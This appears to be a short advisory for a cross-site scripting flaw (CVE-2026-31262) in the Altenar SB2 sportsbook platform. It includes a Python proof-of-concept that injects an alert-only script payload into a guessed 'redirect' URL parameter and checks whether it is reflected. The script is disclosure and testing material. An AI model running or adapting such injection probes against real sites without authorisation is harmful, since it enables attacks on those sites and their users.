Cross Site Scripting vulnerability in Altenar Sportsbook Software Platform (SB2) v.2.0 allows a remote attacker to obtain sensitive information and execute arbitrary code via the URL parameter
The following code is for security research and authorized testing only.
python
# Proof of Concept (PoC) for CVE-2026-31262
# The vulnerability exists in the URL parameter processing.
import requests
target_url = "http://target-host.com/sb2/vulnerable_page"
# Malicious payload to test script execution
xss_payload = "<script>alert('CVE-2026-31262_PoC');</script>"
# Constructing the malicious URL by injecting payload into a parameter
# (Parameter name may vary based on actual implementation, here assumed as 'redirect')
attack_url = f"{target_url}?redirect={xss_payload}"
try:
response = requests.get(attack_url)
# Check if the payload is reflected unmodified in the response
if xss_payload in response.text:
print("[+] Vulnerability Confirmed: XSS payload reflected in response.")
print(f"[+] Attack URL: {attack_url}")
else:
print("[-] Payload not reflected or input validation is present.")
except Exception as e:
print(f"Error occurred: {e}")